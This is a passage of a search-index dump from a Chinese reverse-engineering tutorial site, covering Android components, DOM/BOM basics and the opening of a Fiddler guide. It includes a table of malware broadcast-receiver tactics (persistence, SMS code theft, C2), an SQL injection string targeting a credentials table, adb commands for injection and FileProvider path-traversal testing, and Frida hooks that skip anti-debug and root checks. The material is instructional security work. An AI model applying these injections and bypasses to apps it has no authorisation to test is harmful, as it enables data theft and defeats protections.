android:name=\"android.intent.action.BOOT_COMPLETED\" /\u003e \u003c/intent-filter\u003e \u003c/receiver\u003e 动态注册 – 代码中注册，需要搜索 registerReceiver 调用来发现： receiver = new NetworkChangeReceiver(); IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION); registerReceiver(receiver, filter); ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:4:1","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#41-静态注册与动态注册"},{"categories":null,"collections":null,"content":"4.2 发现动态注册的 Receiver Java.perform(function() { var ContextWrapper = Java.use(\"android.content.ContextWrapper\"); ContextWrapper.registerReceiver.overload( \"android.content.BroadcastReceiver\", \"android.content.IntentFilter\" ).implementation = function(receiver, filter) { console.log(\"[*] registerReceiver: \" + receiver.getClass().getName()); for (var i = 0; i \u003c filter.countActions(); i++) { console.log(\"[*] Action: \" + filter.getAction(i)); } return this.registerReceiver(receiver, filter); }; }); ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:4:2","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#42-发现动态注册的-receiver"},{"categories":null,"collections":null,"content":"4.3 恶意软件中常见的 Receiver 模式 监听的广播 Action 恶意用途 BOOT_COMPLETED 开机自启，持久化驻留 CONNECTIVITY_ACTION 网络恢复时上传窃取的数据 SMS_RECEIVED 拦截短信（验证码窃取） NEW_OUTGOING_CALL 监听/拦截电话拨打 SCREEN_ON / SCREEN_OFF 判断用户活跃状态 自定义 Action C2 指挥控制指令下发 # 向导出的 Receiver 发送广播测试 adb shell am broadcast \\ -a com.example.app.ACTION_EXECUTE_COMMAND \\ --es command \"get_device_info\" ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:4:3","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#43-恶意软件中常见的-receiver-模式"},{"categories":null,"collections":null,"content":"5. ContentProvider 分析 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:5:0","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#5-contentprovider-分析"},{"categories":null,"collections":null,"content":"5.1 URI 结构 content://com.example.app.provider/users/10 \\_____/ \\________________________/ \\___/ \\/ scheme authority path id 常见模式: content://authority/table → 所有记录 content://authority/table/10 → ID=10 的记录 content://authority/table/10/sub → 子资源 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:5:1","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#51-uri-结构"},{"categories":null,"collections":null,"content":"5.2 安全风险：SQL 注入 @Override public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { // 如果 selection 未做过滤，可能存在 SQL 注入 // 攻击: selection = \"1=1) UNION SELECT password FROM credentials--\" return db.query(\"users\", projection, selection, selectionArgs, null, null, sortOrder); } ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:5:2","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#52-安全风险sql-注入"},{"categories":null,"collections":null,"content":"5.3 通过 adb 测试 ContentProvider # 查询导出的 ContentProvider adb shell content query --uri content://com.example.app.provider/users # SQL 注入测试 adb shell content query \\ --uri content://com.example.app.provider/users \\ --where \"name='admin' OR '1'='1'\" # 路径遍历测试 (FileProvider) adb shell content read \\ --uri content://com.example.app.fileprovider/root/data/data/com.example.app/shared_prefs/config.xml ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:5:3","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#53-通过-adb-测试-contentprovider"},{"categories":null,"collections":null,"content":"5.4 FileProvider 路径遍历漏洞 \u003c!-- res/xml/file_paths.xml --\u003e \u003cpaths\u003e \u003c!-- 危险: 暴露整个外部存储 --\u003e \u003cexternal-path name=\"external\" path=\".\" /\u003e \u003c!-- 危险: 暴露应用私有目录根 --\u003e \u003croot-path name=\"root\" path=\"\" /\u003e \u003c!-- 安全: 只暴露特定目录 --\u003e \u003cfiles-path name=\"images\" path=\"images/\" /\u003e \u003c/paths\u003e ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:5:4","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#54-fileprovider-路径遍历漏洞"},{"categories":null,"collections":null,"content":"6. Application 类 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:6:0","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#6-application-类"},{"categories":null,"collections":null,"content":"6.1 Application 的特殊地位 Application 类是应用中最先被创建的对象，生命周期覆盖整个进程。这使它成为逆向中最关键的切入点。 应用启动顺序: 1. Zygote fork 新进程 2. Application.attachBaseContext() ◄── 最早的代码入口，壳在此脱壳 3. ContentProvider.onCreate() ◄── 在 Application.onCreate 之前！ 4. Application.onCreate() ◄── 全局初始化，SDK/网络/安全检测 5. 首个 Activity/Service/Receiver 创建 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:6:1","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#61-application-的特殊地位"},{"categories":null,"collections":null,"content":"6.2 典型的 Application 子类 public class MyApplication extends Application { @Override protected void attachBaseContext(Context base) { super.attachBaseContext(base); MultiDex.install(this); // 多 DEX 加载 // 加固壳入口: 360/腾讯乐固/梆梆 在此解密并加载真正的 DEX } @Override public void onCreate() { super.onCreate(); initNetwork(); // 网络框架配置 initEncryption(); // 加密模块初始化 initAntiDebug(); // 反调试检测 initRootDetection(); // Root 检测 loadNativeLibrary(); // 加载 SO 库 } } ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:6:2","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#62-典型的-application-子类"},{"categories":null,"collections":null,"content":"6.3 Hook Application 关键方法 Java.perform(function() { var MyApp = Java.use(\"com.example.app.MyApplication\"); MyApp.attachBaseContext.implementation = function(context) { console.log(\"[*] attachBaseContext() -- 最早入口\"); this.attachBaseContext(context); // 此时加固壳已解密 DEX }; // 绕过安全检测 MyApp.initAntiDebug.implementation = function() { console.log(\"[*] 跳过反调试检测\"); }; MyApp.initRootDetection.implementation = function() { console.log(\"[*] 跳过 Root 检测\"); }; }); 在 Manifest 中定位: \u003capplication android:name=\".MyApplication\" ...\u003e。如果没有 android:name 属性，则使用默认的 android.app.Application 类。 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:6:3","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#63-hook-application-关键方法"},{"categories":null,"collections":null,"content":"7. Intent 机制 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:7:0","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#7-intent-机制"},{"categories":null,"collections":null,"content":"7.1 Intent 的组成 Action → 要执行的操作（如 VIEW, SEND, MAIN） Data → 操作的数据 URI（如 content://, http://） Category → 对组件的附加限定（如 LAUNCHER, DEFAULT） Component → 显式指定目标组件（包名+类名） Extras → 附加的键值对数据（Bundle） Flags → 控制启动模式和任务栈行为 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:7:1","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#71-intent-的组成"},{"categories":null,"collections":null,"content":"7.2 显式 vs 隐式 Intent // 显式 -- 直接指定目标，可直接追踪 Intent explicit = new Intent(this, PaymentActivity.class); explicit.putExtra(\"order_id\", \"ORD_12345\"); startActivity(explicit); // 隐式 -- 通过 Action/Data 匹配，需查 Manifest 中的 intent-filter Intent implicit = new Intent(\"com.example.app.ACTION_PAY\"); implicit.setData(Uri.parse(\"pay://checkout?token=abc123\")); startActivity(implicit); ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:7:2","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#72-显式-vs-隐式-intent"},{"categories":null,"collections":null,"content":"7.3 Deep Link 分析 Deep Link 允许外部通过 URI 直接打开应用特定页面，是重要的攻击面： \u003cactivity android:name=\".DeepLinkActivity\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.VIEW\" /\u003e \u003ccategory android:name=\"android.intent.category.DEFAULT\" /\u003e \u003ccategory android:name=\"android.intent.category.BROWSABLE\" /\u003e \u003cdata android:scheme=\"myapp\" android:host=\"payment\" /\u003e \u003cdata android:scheme=\"https\" android:host=\"www.example.com\" android:pathPrefix=\"/pay\" /\u003e \u003c/intent-filter\u003e \u003c/activity\u003e # 测试 Deep Link adb shell am start -a android.intent.action.VIEW \\ -d \"myapp://payment?orderId=12345\u0026token=abc\" ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:7:3","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#73-deep-link-分析"},{"categories":null,"collections":null,"content":"7.4 追踪 Intent 数据流 Java.perform(function() { var Activity = Java.use(\"android.app.Activity\"); Activity.startActivity.overload(\"android.content.Intent\").implementation = function(intent) { console.log(\"[*] 调用者: \" + this.getClass().getName()); console.log(\"[*] 目标: \" + intent.getComponent()); console.log(\"[*] Action: \" + intent.getAction()); console.log(\"[*] Data: \" + intent.getDataString()); var bundle = intent.getExtras(); if (bundle != null) { var keys = bundle.keySet().iterator(); while (keys.hasNext()) { var key = keys.next(); console.log(\"[*] Extra: \" + key + \" = \" + bundle.get(key)); } } this.startActivity(intent); }; }); ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:7:4","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#74-追踪-intent-数据流"},{"categories":null,"collections":null,"content":"8. 逆向中的关键切入点 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:8:0","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#8-逆向中的关键切入点"},{"categories":null,"collections":null,"content":"8.1 分析流程 Step 1: 静态分析 Manifest → 找 Application 子类、主 Activity、exported 组件、权限列表 Step 2: 动态定位目标组件 → dumpsys activity top、dumpsys activity services、logcat Step 3: Hook 关键生命周期 → attachBaseContext (壳)、onCreate (页面)、onStartCommand (后台)、onReceive (事件) Step 4: 追踪数据流 → Intent 传递、加密函数、网络请求、ContentProvider 操作 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:8:1","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#81-分析流程"},{"categories":null,"collections":null,"content":"8.2 按场景选择 Hook 目标 逆向目标 首选 Hook 组件 关键方法 登录协议 LoginActivity onCreate() 中的按钮事件 支付流程 PaymentActivity / PayService onClick(), onActivityResult() 数据加密 CryptoService / EncryptUtil encrypt(), decrypt(), sign() 网络请求 OkHttp Interceptor intercept(), proceed() 推送消息 PushService / PushReceiver onStartCommand(), onReceive() 反调试绕过 Application / NativeLib onCreate(), JNI 函数 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:8:2","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#82-按场景选择-hook-目标"},{"categories":null,"collections":null,"content":"8.3 混淆应用的突破策略 未混淆的通常保留: 通常被混淆: Activity/Service/Provider 类名 内部工具类名 (Utils → a) JNI native 方法名 方法名 (encryptData → b) 日志字符串（如果未被移除） 字段名 (secretKey → c) 突破方法： 从组件入手: Activity/Service 类名是明文，从生命周期方法开始追踪 字符串搜索: 搜索错误提示、URL、常量字符串定位关键逻辑 API 调用追踪: Hook Cipher.doFinal()、URL.openConnection() 从底层向上追踪 交叉引用: 在 jadx/IDA 中从已知方法出发追踪调用链 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:8:3","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#83-混淆应用的突破策略"},{"categories":null,"collections":null,"content":"8.4 实战：从零开始分析 💡 思路一句话: 分析一个陌生 App 的入口 — 先看 AndroidManifest.xml 找到启动 Activity 和 Application → 再追踪 onCreate 中的初始化逻辑 → 理解组件之间的调用关系。 # 1. 解包 apktool d target.apk -o target_decoded # 2. 快速浏览 Manifest grep \"android:name\" target_decoded/AndroidManifest.xml | head -5 grep \"exported=\\\"true\\\"\" target_decoded/AndroidManifest.xml grep -A5 \"MAIN\" target_decoded/AndroidManifest.xml # 3. 动态定位 adb shell dumpsys activity top | grep \"ACTIVITY\" adb logcat | grep -i \"com.example.app\" # 4. Frida 注入 frida -U -f com.example.app -l hook_script.js ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:8:4","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#84-实战从零开始分析"},{"categories":null,"collections":null,"content":"8.5 逆向分析优先级 Application - 全局初始化，识别加固方案，绕过安全检测 Activity - 从界面入手，找到目标功能入口点 Service - 后台核心业务：加密、通信、数据处理 BroadcastReceiver - 系统事件和自定义事件响应 ContentProvider - 数据接口，可能存在数据泄露 ","date":"2024-06-26","objectID":"/reverse_engineering/android/04-reference/foundations/android_components/:8:5","tags":["加密分析","Hook","基础知识","Smali","Android","ARM汇编"],"title":"Android 四大组件","uri":"/reverse_engineering/android/04-reference/foundations/android_components/#85-逆向分析优先级"},{"categories":null,"collections":null,"content":"DOM 与 BOM ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:0:0","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#dom-与-bom"},{"categories":null,"collections":null,"content":"概述 DOM (文档对象模型) 和 BOM (浏览器对象模型) 是 JavaScript 与网页内容及浏览器窗口交互的接口。在 Web 逆向中，理解它们对于定位页面元素、分析事件触发逻辑以及应对反调试至关重要。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:1:0","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#概述"},{"categories":null,"collections":null,"content":"DOM (Document Object Model) DOM 将 HTML 文档解析为一个树状结构，JavaScript 通过 DOM API 来操作页面内容。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:2:0","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#dom-document-object-model"},{"categories":null,"collections":null,"content":"1. 核心概念 DOM Tree: 整个文档的层级结构。 Node (节点): 树中的每个组成部分（元素、文本、注释等）。 Element (元素): HTML 标签对应的节点（如 \u003cdiv\u003e, \u003cbody\u003e）。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:2:1","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#1-核心概念"},{"categories":null,"collections":null,"content":"2. 常用操作 选择与遍历 // 选择器 document.getElementById(\"app\"); // 唯一 ID document.querySelector(\".class-name\"); // 第一个匹配 document.querySelectorAll(\"div \u003e span\"); // 所有匹配 // 遍历 element.parentNode; // 父节点 element.children; // 子元素列表 element.nextElementSibling; // 下一个兄弟元素 修改 DOM // 创建 let newDiv = document.createElement(\"div\"); newDiv.innerText = \"Injected Content\"; // 插入 document.body.appendChild(newDiv); // 删除 element.remove(); // 属性操作 input.value = \"hacked\"; img.getAttribute(\"src\"); ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:2:2","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#2-常用操作"},{"categories":null,"collections":null,"content":"2. 常用操作 选择与遍历 // 选择器 document.getElementById(\"app\"); // 唯一 ID document.querySelector(\".class-name\"); // 第一个匹配 document.querySelectorAll(\"div \u003e span\"); // 所有匹配 // 遍历 element.parentNode; // 父节点 element.children; // 子元素列表 element.nextElementSibling; // 下一个兄弟元素 修改 DOM // 创建 let newDiv = document.createElement(\"div\"); newDiv.innerText = \"Injected Content\"; // 插入 document.body.appendChild(newDiv); // 删除 element.remove(); // 属性操作 input.value = \"hacked\"; img.getAttribute(\"src\"); ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:2:2","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#选择与遍历"},{"categories":null,"collections":null,"content":"2. 常用操作 选择与遍历 // 选择器 document.getElementById(\"app\"); // 唯一 ID document.querySelector(\".class-name\"); // 第一个匹配 document.querySelectorAll(\"div \u003e span\"); // 所有匹配 // 遍历 element.parentNode; // 父节点 element.children; // 子元素列表 element.nextElementSibling; // 下一个兄弟元素 修改 DOM // 创建 let newDiv = document.createElement(\"div\"); newDiv.innerText = \"Injected Content\"; // 插入 document.body.appendChild(newDiv); // 删除 element.remove(); // 属性操作 input.value = \"hacked\"; img.getAttribute(\"src\"); ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:2:2","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#修改-dom"},{"categories":null,"collections":null,"content":"3. 事件系统 (Event System) 逆向中最重要的部分之一。按钮点击触发加密、表单提交触发验证，背后都是事件在驱动。 事件流 捕获阶段 (Capturing): 从 window 往下传导到目标元素。 目标阶段 (Target): 到达实际触发事件的元素。 冒泡阶段 (Bubbling): 从目标元素往上传导回 window。 element.addEventListener(\"click\", handler, false); // false 表示在冒泡阶段触发（默认） [Reverse Engineering Context] 定位事件监听器 问题: 点击一个按钮触发了加密请求，代码在哪里？ 方法: DevTools -\u003e Elements 面板: 选中元素，右侧 “Event Listeners” 标签。可以看到绑定的事件，点击链接跳转到 JS 代码。 注意: 如果使用了 jQuery 或 Vue/React 框架，监听器可能绑定在 document 或父节点上（事件委托）。 DevTools -\u003e Sources -\u003e Event Listener Breakpoints: 勾选 Mouse -\u003e click。点击按钮时断点会停在事件处理函数的第一行。 DOM 断点: Subtree modifications: 监听子节点变化（如动态插入了加密后的 token）。 Attribute modifications: 监听属性变化（如 class 改变）。 Node removal: 监听节点被删除。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:2:3","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#3-事件系统-event-system"},{"categories":null,"collections":null,"content":"3. 事件系统 (Event System) 逆向中最重要的部分之一。按钮点击触发加密、表单提交触发验证，背后都是事件在驱动。 事件流 捕获阶段 (Capturing): 从 window 往下传导到目标元素。 目标阶段 (Target): 到达实际触发事件的元素。 冒泡阶段 (Bubbling): 从目标元素往上传导回 window。 element.addEventListener(\"click\", handler, false); // false 表示在冒泡阶段触发（默认） [Reverse Engineering Context] 定位事件监听器 问题: 点击一个按钮触发了加密请求，代码在哪里？ 方法: DevTools -\u003e Elements 面板: 选中元素，右侧 “Event Listeners” 标签。可以看到绑定的事件，点击链接跳转到 JS 代码。 注意: 如果使用了 jQuery 或 Vue/React 框架，监听器可能绑定在 document 或父节点上（事件委托）。 DevTools -\u003e Sources -\u003e Event Listener Breakpoints: 勾选 Mouse -\u003e click。点击按钮时断点会停在事件处理函数的第一行。 DOM 断点: Subtree modifications: 监听子节点变化（如动态插入了加密后的 token）。 Attribute modifications: 监听属性变化（如 class 改变）。 Node removal: 监听节点被删除。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:2:3","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#事件流"},{"categories":null,"collections":null,"content":"3. 事件系统 (Event System) 逆向中最重要的部分之一。按钮点击触发加密、表单提交触发验证，背后都是事件在驱动。 事件流 捕获阶段 (Capturing): 从 window 往下传导到目标元素。 目标阶段 (Target): 到达实际触发事件的元素。 冒泡阶段 (Bubbling): 从目标元素往上传导回 window。 element.addEventListener(\"click\", handler, false); // false 表示在冒泡阶段触发（默认） [Reverse Engineering Context] 定位事件监听器 问题: 点击一个按钮触发了加密请求，代码在哪里？ 方法: DevTools -\u003e Elements 面板: 选中元素，右侧 “Event Listeners” 标签。可以看到绑定的事件，点击链接跳转到 JS 代码。 注意: 如果使用了 jQuery 或 Vue/React 框架，监听器可能绑定在 document 或父节点上（事件委托）。 DevTools -\u003e Sources -\u003e Event Listener Breakpoints: 勾选 Mouse -\u003e click。点击按钮时断点会停在事件处理函数的第一行。 DOM 断点: Subtree modifications: 监听子节点变化（如动态插入了加密后的 token）。 Attribute modifications: 监听属性变化（如 class 改变）。 Node removal: 监听节点被删除。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:2:3","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#reverse-engineering-context-定位事件监听器"},{"categories":null,"collections":null,"content":"BOM (Browser Object Model) BOM 提供了与浏览器窗口交互的对象，核心是 window。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:3:0","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#bom-browser-object-model"},{"categories":null,"collections":null,"content":"1. Window 对象 全局作用域对象，所有全局变量（var）和函数都是它的属性。 逆向技巧: 在 Console 输入 window 或 this 查看挂载的全局对象，常能发现暴露出来的加密库（如 window.encrypt_lib）。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:3:1","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#1-window-对象"},{"categories":null,"collections":null,"content":"2. Location (地址栏) 管理 URL。 location.href; // 当前完整 URL location.search; // 查询参数 (?id=1\u0026token=abc) location.reload(); // 刷新页面 location.replace(\"https://google.com\"); // 跳转且不留历史记录 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:3:2","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#2-location-地址栏"},{"categories":null,"collections":null,"content":"3. History (历史记录) 单页应用 (SPA) 常利用 History API 实现前端路由。 history.pushState({}, \"\", \"/new-path\"); // 修改 URL 但不刷新 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:3:3","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#3-history-历史记录"},{"categories":null,"collections":null,"content":"4. Screen \u0026 Navigator (指纹与环境) screen.width / screen.height: 屏幕分辨率。 navigator.userAgent: 用户代理字符串。 [Reverse Engineering Context] 反调试检测 很多站点会检测 BOM 属性来判断是否处于调试模式。 检测窗口大小: 开发者工具打开时，网页可视区域 (window.innerWidth / innerHeight) 会变小。 setInterval(() =\u003e { if (window.outerWidth - window.innerWidth \u003e 160) { console.log(\"DevTools opened!\"); } }, 1000); 检测 Console: 重写 console.log 或利用 console.table 等方法的特殊行为。 debugger 语句: setInterval(() =\u003e { debugger; // 如果开启了 DevTools，会无限断点卡住页面 }, 100); 对抗: “Never pause here” (DevTools 右键断点行)。 Hook Function.prototype.constructor (如果是 Function(\"debugger\")() 这种形式)。 本地替换 (Local Override) 删除 debugger 语句。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:3:4","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#4-screen--navigator-指纹与环境"},{"categories":null,"collections":null,"content":"4. Screen \u0026 Navigator (指纹与环境) screen.width / screen.height: 屏幕分辨率。 navigator.userAgent: 用户代理字符串。 [Reverse Engineering Context] 反调试检测 很多站点会检测 BOM 属性来判断是否处于调试模式。 检测窗口大小: 开发者工具打开时，网页可视区域 (window.innerWidth / innerHeight) 会变小。 setInterval(() =\u003e { if (window.outerWidth - window.innerWidth \u003e 160) { console.log(\"DevTools opened!\"); } }, 1000); 检测 Console: 重写 console.log 或利用 console.table 等方法的特殊行为。 debugger 语句: setInterval(() =\u003e { debugger; // 如果开启了 DevTools，会无限断点卡住页面 }, 100); 对抗: “Never pause here” (DevTools 右键断点行)。 Hook Function.prototype.constructor (如果是 Function(\"debugger\")() 这种形式)。 本地替换 (Local Override) 删除 debugger 语句。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:3:4","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#reverse-engineering-context-反调试检测"},{"categories":null,"collections":null,"content":"总结 DOM 是内容的载体，逆向核心是利用 DOM 断点和事件监听器断点快速定位业务逻辑入口。 BOM 是环境的接口，逆向核心是识别和绕过基于浏览器环境特征的反调试/反爬虫检测。 ","date":"2024-06-24","objectID":"/reverse_engineering/web/01-foundations/dom_and_bom/:4:0","tags":["Web","HTTP","代理池","JavaScript","加密分析","基础知识"],"title":"DOM 与 BOM","uri":"/reverse_engineering/web/01-foundations/dom_and_bom/#总结"},{"categories":null,"collections":null,"content":"Fiddler Classic 指南 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:0:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#fiddler-classic-指南"},{"categories":null,"collections":null,"content":"概述 Fiddler (Classic) 是一款历史悠久、功能强大的抓包工具。虽然界面稍显复古，但其核心优势在于FiddlerScript——允许你用 C# 代码极其灵活地控制 HTTP 请求的每一个细节。 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:1:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#概述"},{"categories":null,"collections":null,"content":"1. 基础配置 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:2:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#1-基础配置"},{"categories":null,"collections":null,"content":"Tools -\u003e Options -\u003e HTTPS 勾选 “Decrypt HTTPS traffic”。 点击 “Actions” -\u003e “Trust Root Certificate”。 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:2:1","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#tools---options---https"},{"categories":null,"collections":null,"content":"Tools -\u003e Options -\u003e Connections Fiddler listens on port: 8888 (默认)。 勾选 “Allow remote computers to connect” (如果要抓手机包)。 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:2:2","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 指南","uri":"/reverse_engineering/web/02-tooling/fiddler_guide/#tools---options---connections"},{"categories":null,"collections":null,"content":"2. 核心功能 ","date":"2024-06-18","objectID":"/reverse_engineering/web/02-tooling/fiddler_guide/:3:0","tags":["Web","签名验证","代理池","Hook","抓包","DevTools"],"title":"Fiddler Classic 